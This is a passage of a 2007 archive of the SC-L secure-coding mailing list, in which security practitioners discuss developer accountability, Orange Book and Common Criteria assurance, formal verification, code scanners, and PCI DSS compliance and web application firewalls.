developer with a vuln-IDE.  If a developer has CWE-Compatiable tools
to guide his/her day-to-day programming efforts, this may prove to
reduce CWE's more effectively than punishing developers who either a)
don't know any better, or b) are being pushed to skip over
warnings/errors because of deadlines.

If a developer can work at the same pace and have their software built
without CWE enforced errors, then they should be rewarded, not
punished.  Developers who slip behind and continually check-in
security weaknesses should be trained.  Unfortunately, we can't just
fire or punish developer failure because this would stifle innovation
and production.

Cheers,
Andre

From andre at operations.net  Sat Dec  1 23:54:05 2007
From: andre at operations.net (Andre Gironda)
Date: Sat, 1 Dec 2007 21:54:05 -0700
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.GSO.4.51.0711301530580.5980@faron.mitre.org>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
	<Pine.SOL.4.61.0711300909440.12157@mental>
	<CC9C8DDEEAD1814BA5FED7227254EE5B016FF458@ex2k.bankofamerica.com>
	<Pine.GSO.4.51.0711301530580.5980@faron.mitre.org>
Message-ID: <2fd9390e0712012054s7a388c64o1fe6b866c80af01b@mail.gmail.com>

On Nov 30, 2007 1:37 PM, Steven M. Christey <coley at linus.mitre.org> wrote:
> > Software vendors will need a 3 tier approach to software security:  Dev
> > training and certification, internal source testing, external
> > independent audit and rating.
>
> I don't think I've seen enough emphasis on this latter item.  A
> sufficiently vibrant set of independent testing organizations that follows
> some established procedures would be one way for customers to get an
> independent guarantee of software's (relative) security.  This in turn
> could put pressure on other vendors to follow suit.

PCI PA-DSS, ISECOM OSSTMM v3, and OWASP Secure Software Contract
Annexes (combined with the OWASP Web Security Certification Framework)
will be available for use in the near-immediate future.  Many other
similar efforts will likely follow.

> The challenges would be defining what those procedures should be,
> maintaining them in a way so that they remain relevant, convincing
> existing research organizations to participate, and handling the problem
> of free (as in beer) software.
>
> A gazillion years ago, John Tan of the L0pht proposed an "Underwriters
> Laboratories" for software, and maybe its time is almost upon us.

I thought this document was more about using FIPS 140-1 to verify
hardware-based cryptographic systems (we now have FIPS 140-2 to do
this for software crypto systems), while providing metrics of how long
it takes to break said crypto via brute-force (in the same way it
takes a safe-cracker to bust a safe open)?  It's also interesting to
note that the FIPS 140-n standards have four levels of verification.

Cheers,
Andre

From andre at operations.net  Sat Dec  1 23:55:46 2007
From: andre at operations.net (Andre Gironda)
Date: Sat, 1 Dec 2007 21:55:46 -0700
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
	<5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>
	<Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>
Message-ID: <2fd9390e0712012055x190330efu36680d425301462e@mail.gmail.com>

On Nov 30, 2007 1:59 PM, Steven M. Christey <coley at linus.mitre.org> wrote:
> > i still think all these ideas are wrong and the model is simple: don't
> > employ people who write and generate insecure code. it's just part of
> > programming. you wouldn't hire a doctor to be a gardener. don't hire
> > an idiot to program your apps.
>
> How does a manager who hasn't written code in the last 10 years (if ever)
> know how to distinguish the idiots from the experts?  Secure programming
> certification and education is, at best, in its infancy.

Felix Linder said it best in his recent presentation, "Security and
Attack Surface of Modern Applications".  Commercial software doubles
in size every 18 months.  How are we going to train developers and
security professionals fast enough to keep up with that pace?

Cheers,
Andre
(I swear this is the last one for now, sorry for splitting this into
so many messages)

From michaelslists at gmail.com  Sun Dec  2 16:34:18 2007
From: michaelslists at gmail.com (silky)
Date: Mon, 3 Dec 2007 08:34:18 +1100
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
	<5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>
	<Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>
Message-ID: <5e01c29a0712021334w19e82a78r6a37e1202254257d@mail.gmail.com>

On Dec 1, 2007 7:59 AM, Steven M. Christey <coley at linus.mitre.org> wrote:
>
> On Fri, 30 Nov 2007, silky wrote:
>
> > i still think all these ideas are wrong and the model is simple: don't
> > employ people who write and generate insecure code. it's just part of
> > programming. you wouldn't hire a doctor to be a gardener. don't hire
> > an idiot to program your apps.
>
> How does a manager who hasn't written code in the last 10 years (if ever)
> know how to distinguish the idiots from the experts?  Secure programming
> certification and education is, at best, in its infancy.

how does anyone know how to hire anyone for a job that they themselves
aren't qualified for? well, you pay professionals to do it.
recruitment agents. this should be part of their role. and absolutely
agreed; most certification is useless, secure programming is no
different.


> - Steve

-- 
mike
http://lets.coozi.com.au/

From karger at watson.ibm.com  Sun Dec  2 18:07:00 2007
From: karger at watson.ibm.com (karger at watson.ibm.com)
Date: Sun, 02 Dec 2007 18:07:00 -0500
Subject: [SC-L] SC-L Digest, Vol 3, Issue 197
In-Reply-To: Your message of Sun, 02 Dec 2007 12:00:01 EST.
	<mailman.1.1196614801.12351.sc-l@securecoding.org> 
Message-ID: <20071202230700.3AC5A36E52E@gsal-1.watson.ibm.com>



andre at operations.net writes
>
>Extended criteria to the above would involve designs/code that are
>formally specified or verified (using formal methods/logic).  Think
>Orange Book (TCSEC, ITSEC, Common Criteria, et al) and you'll know
>what I mean by this.  The interesting thing about Orange Book is that
>even the most assured/functional division, A1, only requires that the
>formal top-level specification (i.e. TCB design aka security policy
>model aka access-control matrix) be formally verified.  Criteria that
>goes beyond A1 would formally specify and/or verify actual source
>code.

The Orange Book explicitly wanted to include only requirements that
had been shown to be feasible at the time the criteria were written (1985).
At that point in time, formal verification of design specifications
was clearly feasible (although difficult), but formal verification
of sizable amounts of source code was clearly not yet feasible.  Even
today (2007), formal verification of large amounts of source code is
still very difficult.  That is why the Orange Book and all the subsequent
criteria have open-ended scales.  As the state of the art improves, the
intent has always been to define A2 or A3 or EAL8 assurance levels.

>Note that my five-star rating system suggested is only half of a
>secure software initiative - the assurance part.  According to the
>Orange Book, there has to be functional measures that placate the
>inherent problems with trusting the TCB: object reuse and covert
>channels.  The Orange Book specifies that the TCB requires a security
>kernel, security perimeter, and trusted paths to/from the users and
>the TCB (input validation is referred to as "secure attention keys").
>
>Not only does the access control matrix have to be well designed and
>implemented, but there also has to be safeguards (today we sometimes
>call these exploitation countermeasures) to protect against problems
>with object reuse or covert channels.

This is why the Orange Book explicitly required specific access control
systems.  


>
>Access control systems can be programmatic, discretionary, mandatory,
>role-based, or declarative (in order of sophistication and assurance).

In the Orange Book, the access control is specifically a mandatory system
that has effective proofs already done of the model.  The Common Criteria
leaves this up in the air, and relies on the developers and evaluators to
actually design an effective and consistent access control system and to
prove its properties.  It is not clear that the Common Criteria process
has always met that goal!  There are many loopholes that were not present
in the Orange Book.

> Transitioning between states is possibly the hardest thing to get
>right in terms of security in applications - fortunately it is
>something usually taken seriously by developers (i.e. vertical and
>horizontal privilege escalation), but strangely less-so by security
>professionals (who often see semantic bugs like buffer overflows,
>parser bugs, and input/output issues to be the most interesting).
>This is probably why the TCB is the only part in the Orange Book
>criteria that requires formal specification and/or verification to get
>to the highest division (A1).

The TCB in the Orange Book contains ALL the security sensitive code - not
just the kernel of the operating system.  Applications that enforce security
properties are also part of the TCB.

>
>Object reuse and covert channels provide the landscape for security
>weaknesses to happen.  Object reuse means that because memory is
>shared, things like buffer overflows (stack or heap), integer
>vulnerabilities, and format string vulnerabilities are possible.  When
>a disk or memory is shared, it can be written to or read by anyone
>with virtual access to it (depending on the nature of the filesystem
>and how the TCB grants access to it).  Covert channels provide access
>to IPC (inter process communication), both inside and outside of the
>system via TCB access rights.  Additional problems of storage and
>timing channels also fall into this category.
>
>Of course, the proper way to prevent misuse of objects or channels is
>to assure the TCB design and the source code.  However, by using
>security perimeters and trusted paths (along with a reference monitor,
>or security kernel) - we can provide the "functionality" necessary to
>further protect these needed elements.  The same is true with
>automobiles: in the form of seat-belts + airbags, as well as optional
>components such as harnesses, roll cages, helmets, driving gloves,
>sunglasses, etc.
>
>Modern day exploitation countermeasures and vulnerability management
>are these security functions: software-update is your seat-belt, ASLR
>your airbags, and optional components include GPG, SSL, anti-virus,
>patch management, firewalls, host or network-based IPS, NAC, DLP,
>honeypots, etc.  I like to compare the optional components to the
>highway system and traffic lights when provided externally (e.g. from
>your IT department or ISP).
>
>It may appear that I'm suggesting an end to penetration testing (which
>probably isn't popular on this mailing-list anyways), but that's not
>entirely true.  Automobiles still require the occasional
>brake/wiper/tire replacement, tune-up, oil change, and even weekly
>checks such as tire pressure.  Security testing in the operations or
>maintenance phase will probably remain popular for quite some time
>(especially the free security testing from the vulnerability-obsessed
>security community).
>

The Orange Book and the Common Criteria explicitly require penetration 
testing, particularly at the higher levels, as well as lots of other
techniques.  This is because you can never assume that just a single 
security measure will solve all problems.  Even formal proofs can have
bugs.  High assurance uses formal methods and testing and penetration and
development procedures, etc. as a combination of methods is much less
likely to leave latent problems that relying only on a single method.
I don't think that security testing will ever not be necessary, even
with full code proofs.  Proof tools can have bugs and they only show
corresponce to specifications.  Specifications can also have errors.

Paul

From dcrocker at eschertech.com  Mon Dec  3 08:20:10 2007
From: dcrocker at eschertech.com (dcrocker at eschertech.com)
Date: Mon, 03 Dec 2007 13:20:10 +0000
Subject: [SC-L] SC-L Digest, Vol 3, Issue 197
In-Reply-To: <20071202230700.3AC5A36E52E@gsal-1.watson.ibm.com>
References: <20071202230700.3AC5A36E52E@gsal-1.watson.ibm.com>
Message-ID: <20071203132010.abqodjx4w00kws8c@www.eschertech.com>

While not disagreeing with anything Paul wrote, I wanted to make some  
comments about the state of formal verification technology.

Quoting karger at watson.ibm.com:

> The Orange Book explicitly wanted to include only requirements that
> had been shown to be feasible at the time the criteria were written (1985).
> At that point in time, formal verification of design specifications
> was clearly feasible (although difficult), but formal verification
> of sizable amounts of source code was clearly not yet feasible.  Even
> today (2007), formal verification of large amounts of source code is
> still very difficult.

In my view, as long as we are trying to verify handwritten code, it  
always will be very difficult. if formal verification is the goal,  
it's far better to refine specifications to code by adding design  
detail, using a mixture if manual and automatic methods. It's a real  
shame that people still spend so much time writing code in low-level  
programming languages like C and C++.

(snip)

> The Orange Book and the Common Criteria explicitly require penetration
> testing, particularly at the higher levels, as well as lots of other
> techniques.  This is because you can never assume that just a single
> security measure will solve all problems.  Even formal proofs can have
> bugs.  High assurance uses formal methods and testing and penetration and
> development procedures, etc. as a combination of methods is much less
> likely to leave latent problems that relying only on a single method.
> I don't think that security testing will ever not be necessary, even
> with full code proofs.  Proof tools can have bugs and they only show
> corresponce to specifications.  Specifications can also have errors.

Bugs in formal proofs are less likely now than they were in 1985  
because formal proofs are now always generated using automatic or  
interactive theorem provers. This has been found to be more reliable  
than manual proof (as well as much faster). The real problem is in  
getting the specification right. Some things come for free - for  
example, every system for producing verified code that I know of will  
provide a guarantee of no buffer overflow, assuming all the proofs  
have been done. However, in general it is very hard to specify "this  
system is secure" because we don't know all the ways in which it might  
not be secure, for example against classes of attach that haven't been  
discovered yet.

David



From ken at krvw.com  Mon Dec  3 15:03:43 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 3 Dec 2007 15:03:43 -0500
Subject: [SC-L] Redmond Developer News | Best Defense?
Message-ID: <80D407B4-F417-46D7-A982-3A0710409341@krvw.com>

FYI, interesting article on sandboxing of applications, with quotes  
from a few SC-L regulars.  Enjoy!

http://reddevnews.com/features/article.aspx?editorialsid=2386

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071203/de2b4cbc/attachment.bin 

From peter.werner at gmail.com  Tue Dec  4 06:07:13 2007
From: peter.werner at gmail.com (Pete Werner)
Date: Tue, 4 Dec 2007 22:07:13 +1100
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <5e01c29a0712021334w19e82a78r6a37e1202254257d@mail.gmail.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
	<5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>
	<Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>
	<5e01c29a0712021334w19e82a78r6a37e1202254257d@mail.gmail.com>
Message-ID: <6378f48a0712040307n71574c34s5fa5d0593e74a662@mail.gmail.com>

On Dec 3, 2007 8:34 AM, silky <michaelslists at gmail.com> wrote:
>
> how does anyone know how to hire anyone for a job that they themselves
> aren't qualified for? well, you pay professionals to do it.
> recruitment agents. this should be part of their role. and absolutely
> agreed; most certification is useless, secure programming is no
> different.
>
>

Um, have you ever dealt with a recruitment agent? How are they going
to tell? The guy had secure coding on his CV? Ok ....

A few points in general:

1 - I'm yet to meet a programmer who intentionally creates security
problems in production code. Most developers I meet are very much
interested in secure coding, so in that respect things are a lot
better than they were 5 years ago when very few people knew, and even
less cared.

Penalizing developers for writing insecure code is not the answer,
because as others have pointed out all it will do is encourage people
to cover things up and never talk about security vulnerabilities. You
have to take into account the environment in which they work, which is
most likely not conductive to producing quality output, and also that
even the best people will make mistakes.

I've heard of some companies taking the attitude that code level
security issues are OK, because it means they didn't waste too much
money on higher quality outsourced developers ... and from a security
vendor no less, whoda thunk ;-)

2 - Source code scanners still have a long way to go. I realize there
are a lot of vested interests on this list, but based on my recent
experiences with commercial scanners it is pure folly relying on them
to secure your applications. They are useful tools with a real place,
and better than previous generations, but overpriced and still of
limited value. That they are sold as "quality tools" rather than
"security tools" is telling.

Running code through 3 different scanners is great, but a) who has the
time, b) who can justify 3 different tools to management, c) who's
going to wield the rod, and d) why do you think anyone would actually
care about the rod?

3 - Taxes, government bodies, penalties, etc. all bullshit for now.
When its possible to prove a program is correct, ok, but until then
its way to fuzzy and wobbly to start throwing bureaucracy at. It would
be good to see some form of self-regulation, ideally from a credible
independent source, not a cert merchant or security services vendor.

Yours in brevity,
Pete

From avis at bll.co.il  Sun Dec  9 03:38:18 2007
From: avis at bll.co.il (avi shvartz)
Date: Sun, 9 Dec 2007 10:38:18 +0200
Subject: [SC-L] Code Coverage  and Code Quality tools
Message-ID: <!&!AAAAAAAAAAAYAAAAAAAAANg3a/nATdQRv3oABimGgqPCgAAAEAAAAJLc1TNXcxtBlROjlRRlsM4BAAAAAA==@bll.co.il>

Hello list,

Apologies if a little bit off topic, but I will appreciate any help.

I wonder what tools are used for Code Coverage and Code Quality for 
 various languages in the enterprise.
IBM mainframe : COBOL, PL1, NATURAL, ASSEMBLER, JAVA.
Open : JAVA, VB6, C++, C#, VB.NET..

Regards,
Avi Shvartz
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071209/c523ce34/attachment.html 

From announcements at webappsec.org  Mon Dec 10 12:43:57 2007
From: announcements at webappsec.org (announcements at webappsec.org)
Date: Mon, 10 Dec 2007 12:43:57 -0500 (EST)
Subject: [SC-L] WASC Announcement: The Script Mapping Project Results and
	Call for Participation
Message-ID: <20071210174357.94349.qmail@cgisecurity.net>


The Web Application Security Consortium is pleased to announce the first results 
of the Script Mapping project! At this stage in the project we were able to cover
most of the test cases for Internet Explorer 7, Firefox 2 and Safari 3.

The results can be found on the project page:
http://www.webappsec.org/projects/scriptmapping/

Project Description:

The purpose of the Script Mapping Project is to come up with an exhaustive list 
of vectors to execute script within a web page without the explicit use of <script> 
tags. This data can be useful when testing poorly implemented Cross-site Scripting 
blacklist filters, for those wishing to build an html white list system, as well as 
other uses.

WASC is actively seeking volunteers from various sections of the community including 
penetration testers, security researchers, and developers to contribute to this project.

If you would like to be involved with the project or if you have comments about the
results, test cases etc., please contact Romain Gaucher ( r at rgaucher.info)

Regards,

- Announcements

----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

From gem at cigital.com  Mon Dec 10 15:19:35 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 10 Dec 2007 15:19:35 -0500
Subject: [SC-L] darkreading: PCI, web app firewalls, and software security
Message-ID: <41945506397C0C4886A8C5BFF089B5CA30FF4592D8@va-mailhub.cigital.com>

hi sc-l,

My November column (which just went up today?!) is about following the spirit of PCI compliance versus checking the box.  I even have something nice-ish to say about web app firewalls.

http://www.darkreading.com/document.asp?doc_id=140979&WT.svl=column1_1

For those of you involved in PCI compliance activities, how many have seen them spearhead real software security?  How about box checking?  I would love to see an informal poll.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Thu Dec 13 15:31:44 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 13 Dec 2007 15:31:44 -0500
Subject: [SC-L] darkreading: PCI, web app firewalls,
 and software security
Message-ID: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com>

An interested sc-l reader who wishes to remain anonymous responded by mail to
my PCI article.  Here is what the reader had to say (posted with permission).

gem
=================

I have been involved in some of the PCI efforts here at my company.
There's not much that my company would probably allow me to say on-the-record.

However, here are my impressions from where I sit (tech lead of our
company's application security team, a team where we help IT dev teams
implement designs and write secure code that's compliant with our
corporate information security team's [InfoSec] corporate security policies,
which they set).

We have almost 2 dozen apps affected by PCI. For the most part, our team
has been instructing dev teams about crypto and white-listing of data to
prevent XSS, SQL injections, etc. My team also has also developed Java
and .NET class libraries that try to make some of this stuff simpler for
your run-of-the-mill app developer. These libraries are used a lot with
these applications affected by PCI DSS.

Our corporate InfoSec team deals directly with PCI auditors. I've only
been able to _indirectly_ interact with them via email filtered through
my InfoSec contacts.

Despite this, I have formed quite a few opinions about both PCI DSS and these
PCI auditors, which I will share. Note that these opinions do not reflect the
official position of my company, but probably are representative of
peers within my group.

1) 99% of the PCI DSS is what any good IT organization should be doing
   already. There is very little new here. As you (GEM) put it, it sets
   a low bar. It only seems like a high bar to IT because most IT departments,
   in fact, do not do these things. (Our company was probably already
   doing about 1/2 of the requirements in DSS v1.0.)

2) What makes PCI effective is the fear that businesses will be found
   to be non-compliant and as a result have to pay fines or higher interest
   rates to the credit card companies. Either way, it costs them cash if
   the fail to comply so it makes the SROI a bit easier to measure than
   normal.

3) A "threat" that doesn't seem to be considered is a "rubber hose attack"
   that a company might aim at PCI auditors themselves. The PCI consortium
   may (and could) deal with this effectively mandating that PCI auditors
   be randomly selected and restricting the duration and number of audits
   that the auditors may perform at a specific company. However, it was
   my impression (based on InfoSec feedback) that our company has had the
   same auditor for over a year, so I don't think this is probably happening.

4) The PCI DSS is vague if one attempts to read them as "specifications", but
   they work OK as simple general "guidelines". As specs, they leave too much
   "wiggle room". Where this causes problems is where you need to be able
   to *test* for PCI DSS compliance BEFORE the PCI auditor comes around.
   Whether or not you pass, could (in theory at least) depend on the auditor
   you end up with. (Which is perhaps why we have the same auditor for the
   past 2 yrs or so.)

   Example: Think of all the incorrect ways that one could implement the
   encryption requirements. The DSS doesn't mention which ciphers are
   acceptable, which cipher modes to use, etc. This could result in
   some poorly implemented crypto in the applications but still satisfy
   the letter of the requirements. (If you don't believe that, just look
   at the whole WEP fiasco. The IEEE used adequately strong crypto algorithms
   but in an incorrect manner.)

5) Several of the PCI auditors are fairly low on the security clue meter.

   Example: For PCI DSS v1.0, I asked (via InfoSec) what the PCI requirement
   3.6.4 was with respect to the encryption key rotation period? After about
   two weeks, I more or less received an "it depends" answer. So I rephrased
   my question as "Is it sufficient to only change keys every 1000 years?
   Or every 5 years?  Or every year? Or every month? Or every day? Or every
   hour? etc." Finally, after another two weeks, an answer came back that
   changing keys once a year was sufficient. Later, I found out from one
   of our InfoSec people who was working with the auditor that the auditor
   couldn't even understand WHY it mattered! Ugh! I thought it was pretty
   obvious...if it is done once a year, we probably can get by with manually
   changing crypto keys. OTOH, if they needed to be done hourly or even
   daily, we certainly would need some sort of automated process and most
   likely a fully functional secured key management system. Eventually,
   when DSS v1.1 came out, section 3.6.4 had these two qualifiers:

        - As deemed necessary and recommended by the associated application
          (for example, re-keying); preferably automatically
        - At least annually.

   Example: Our PCI auditor also did not seem to understand my questions about
   which cipher modes were acceptable. There are reasons to suspect that
   s/he did not even know what cipher modes are, as I had to explain
   the meanings acronyms ECB, CBC, IV, etc. The standard response was
   "we don't try to dictate implementation" and to brush off such questions
   altogether.

   Of course, I could be to harsh to rush to judgement on this. Our company
   has only dealt with two different PCI auditors since its involvement with
   PCI. So maybe we just got a few of the bad apples by (un)luck of the draw.

6) For app dev teams, PCI DSS mostly is a "checklist" mentality. (The
   exception is for the crypto-related requirements 3 and 4.) But I personally
   have seen no real evidence that anything is being done to address
   vulnerabilities such as those described in requirement 6.5. We've done
   a lot of education / training, but there's not much indication people
   are really doing anything about it. I think that the really sharp PCI
   auditors realized this was happening which was why 6.6 was added to
   DSS v1.1.

7) Web Application Firewalls (WAF) are alluded to in requirement 6.6 of
   PCI DSS v1.1 as an "application layer firewall":

        6.6 Ensure that all web-facing applications are protected
            against known attacks by applying either of the following
            methods:
            - Having all custom application code reviewed for common
              vulnerabilities by an organization that specializes in
              application security
            - Installing an application layer firewall in front of
              web-facing applications.
        Note: This method is considered a best practice until June 30, 2008,
        after which it becomes a requirement.

   Notice that WAF is not required per se, but the alternative of inspecting
   all application code by an organization that specialized in application
   security is very seldom feasible. In fact, InfoSec first approached our
   team to do code inspections, but when we heard that there were more than
   1M LOC, we told them that this was impossible given our current team size.

   Code inspection *might* work for some small company who exclusively uses
   some custom code using CC info with something like a small, custom
   a shopping cart application, but it is not going to be economical for
   most medium to large companies.

   I also think that there is going to be significant push-back by
   companies where PCI audits are required. I wouldn't be surprised if that
   date gets pushed out to Jan, 2009. On the positive side at least, the
   PCI auditor who was interacting with our company said that we could
   configure an Apache proxy together with Ivan Ristic's "mod_security"
   and that would qualify as a legitimate WAF to satisfy section 6.6.
   So at least we can experiment on-the-cheap. (Of course YMMV at other
   companies; check with your assigned PCI auditor to see what WAF is
   right for you! ;-)

8) I personally have mixed feelings about WAF. Specifically, I have some
   anxiety about that app dev teams will start relying on the WAF to
   filter out the PCI auditors pen testing attempts rather than on
   correcting it within the application itself. I don't have too much of a
   problem of using a WAF to address DoS type attacks (6.5.9). (IMO, DoS
   attacks are often very difficult to handle within the application itself,
   especially when the app itself is using some J2EE container; addressing
   DoS at the app level almost always requires some significant amount
   of redesign which only complicates the app, making it more likely to
   be vulnerable to other vulnerabilities.) However, inevitably some
   clever 0-day is going to get past most WAFs, especially if they are
   solely signature based. (Those which are also anomaly-based *might* have a
   prayer.)

9) The dirty little secret that no one is talking about are the operational
   issues with WAF. Our company discussed possible use with WAF/XML firewalls
   years before PCI DSS made it "popular".

   We never got much beyond initial discussions because we couldn't
   identify any existing personnel within our company who had all the
   required skills to troubleshoot it AND would be willing to do so.
   (Think additional "pager duty".) We talked with stakeholders from
   InfoSec, our company's network engineering team who manages our border
   firewalls and routers, some *nix and Windows OS system administration
   teams, and amongst our team. I think there might be only 2, possibly
   3, people who have sufficient skills to operate and troubleshoot a
   WAF, and all of those people are smart enough to know that it would be
   a thankless job and they aren't really looking for additional opportunities
   to carry pagers. Chances are, we would have to probably hire a few people
   fully dedicated to this, but even then, there is the question where would
   they fit organizationally? One possible option not explored--because we had
   no stakeholders represented who could finance such a thing--would be to
   outsource the management of WAF to some managed security company such
   as BT Counterpane, ISS, etc. Anyhow, it's a big problem and one that
   isn't going to go away.

   At first, intuition would suggest at first that usual FW teams would be best
   suited (and that indeed is what most WAF vendors suggest), but for the most
   part, the usual FW teams' understanding of attacks at layer 7 is often
   very limited.

   If you or anyone you know ever comes up with a solution on how to address
   this particular issue, please let me know. I think it is a show stopper.

10) The multitude of NIST security standards--with which our company has
    to be compliant to get a contract an unnamed government project--
    are doing much more to push the overall security envelope than PCI DSS
    has ever done. For one, NIST has much clearer, as well as much
    more stringent, standards.

Anyhow, those are my thoughts. Hopefully, I will remember it was me that
posted them and not criticize them as coming from some idiot!

Gary: Thanks for allowing them to be posted while remaining anonymous.
(This is so much easier than posting from a new temporary email address
at Hushmail through several layers of Onion routers! :-)


From peter.werner at gmail.com  Thu Dec 13 22:58:06 2007
From: peter.werner at gmail.com (Pete Werner)
Date: Fri, 14 Dec 2007 14:58:06 +1100
Subject: [SC-L] darkreading: PCI, web app firewalls,
	and software security
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com>
Message-ID: <6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>

Thanks for this, many interesting points. Many of them, such of
quality of auditors and the vagueness of requirements/specifications
are structural issues present in all industries that will never go
away. There's never enough good people. If you're a shit hot
accountant you're going to be off making millions at a hedge fund or
an IB, not ticking the same boxes every other day in an audit.
Similarly, if you're able to make intelligent decisions regarding ECB
or CBC you're probably not going to enjoy spending your days checking
companies keep their av definitions up to date.

One of the problems with standards/policies/audits is it's easier to
focus on adhering to policy or passing the audit than actually
securing things. Especially if you're a corporate drone (and I say
this as a corporate drone). Realising that policy is wrong, or
standardised audits full of gaping holes, and actually getting people
to do something about it is a difficult, messy, never-ending and
usually thankless task (cause hey, if it was meant to be that way why
wouldn't it say so in the policy?). It's a lot easier to ask if they
want a blue or black pen used to check the boxes.

Policy is useful to beat people over the head with after the event
though, and even a token effort at PCI DSS compliance is going to be a
good thing.

> 9) The dirty little secret that no one is talking about are the operational
>    issues with WAF. Our company discussed possible use with WAF/XML firewalls
>    years before PCI DSS made it "popular".
>
>    We never got much beyond initial discussions because we couldn't
>    identify any existing personnel within our company who had all the
>    required skills to troubleshoot it AND would be willing to do so.
>    (Think additional "pager duty".) We talked with stakeholders from
>    InfoSec, our company's network engineering team who manages our border
>    firewalls and routers, some *nix and Windows OS system administration
>    teams, and amongst our team. I think there might be only 2, possibly
>    3, people who have sufficient skills to operate and troubleshoot a
>    WAF, and all of those people are smart enough to know that it would be
>    a thankless job and they aren't really looking for additional opportunities
>    to carry pagers. Chances are, we would have to probably hire a few people
>    fully dedicated to this, but even then, there is the question where would
>    they fit organizationally? One possible option not explored--because we had
>    no stakeholders represented who could finance such a thing--would be to
>    outsource the management of WAF to some managed security company such
>    as BT Counterpane, ISS, etc. Anyhow, it's a big problem and one that
>    isn't going to go away.
>
>    At first, intuition would suggest at first that usual FW teams would be best
>    suited (and that indeed is what most WAF vendors suggest), but for the most
>    part, the usual FW teams' understanding of attacks at layer 7 is often
>    very limited.
>
>    If you or anyone you know ever comes up with a solution on how to address
>    this particular issue, please let me know. I think it is a show stopper.
>

IMO the FW team is where it should be. If you have otherwise competent
FW people, they should be able to pick it up. If PCI is a standard
there's going to be a lot of companies requiring WAF expertise, so you
would hope the existing team would be open to learning a new,
desirable skillset/technology.

At my company we have a 24x7 global/follow the sun IDS monitoring
team, and it would probably fall to them.

As I see it, you either implement a boilerplate PCI DSS compliant
policy from your vendor, or hire a consultant to help come up with a
policy that agrees with your company policy as well as PCI DSS.
Infastructure project to implement it, then pass it off to the FW/IDS
team for monitoring.

Like you say in 1) 99% of the PCI DSS is what any good IT organization
should be doing already. The cost to reach PCI compliance shouldn't be
to excessive, but I wonder if it would be cheaper to start your own
PCI auditing company ;-)

From James.McGovern at thehartford.com  Fri Dec 14 14:28:09 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 14 Dec 2007 14:28:09 -0500
Subject: [SC-L] Interesting Blog Entry on Tools Coverage
In-Reply-To: <6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>
References: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com> 
	<6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>
Message-ID: <7E17878DC3BD7640949FBBE9F7FCABC6186519@AD1HFDEXC306.ad1.prod>

 http://www.matasano.com/log/906/random-thoughts-on-owasp


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Fri Dec 14 14:28:13 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 14 Dec 2007 14:28:13 -0500
Subject: [SC-L] Code Coverage  and Code Quality tools
In-Reply-To: <!&!AAAAAAAAAAAYAAAAAAAAANg3a/nATdQRv3oABimGgqPCgAAAEAAAAJLc1TNXcxtBlROjlRRlsM4BAAAAAA==@bll.co.il>
References: <!&!AAAAAAAAAAAYAAAAAAAAANg3a/nATdQRv3oABimGgqPCgAAAEAAAAJLc1TNXcxtBlROjlRRlsM4BAAAAAA==@bll.co.il>
Message-ID: <7E17878DC3BD7640949FBBE9F7FCABC618651A@AD1HFDEXC306.ad1.prod>

I think you will see static analysis tools such as Ounce Labs and
Fortify emerge with COBOL coverage shortly. I do think it would be
